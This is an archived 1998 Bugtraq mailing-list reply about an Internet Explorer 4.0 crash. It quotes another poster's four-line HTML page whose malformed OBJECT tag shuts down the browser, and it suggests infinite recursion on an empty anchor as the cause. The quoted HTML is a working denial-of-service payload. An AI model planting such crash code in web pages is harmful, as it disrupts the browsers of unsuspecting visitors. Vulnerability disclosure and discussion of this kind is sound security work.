[7525] in bugtraq
Re: Object tag and stack overflow on IE 4.0
daemon@ATHENA.MIT.EDU (Illuminatus Primus)
Wed Aug 5 12:23:37 1998
Date: Tue, 4 Aug 1998 19:14:03 -0400
Reply-To: Illuminatus Primus <vermont@GATE.NET>
From: Illuminatus Primus <vermont@GATE.NET>
X-To: Logic Man <tommy@kki.net.pl>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <01bdbfa7$e41b9b20$LocalHost@tom-jerry>
On Tue, 4 Aug 1998, Logic Man wrote:
> --------------cut here-------------------------
> <HTML>
> <title>It shut down your IE 4.0</title>
> <OBJECT CLASSID=#></OBJECT>
> </HTML>
> --------------and here------------------------
This probably triggers the problem of infinite recursion Paul Leach of
Microsoft described: IE might be re-parsing the current document by
trying to find the anchor "".
vermont@gate.net
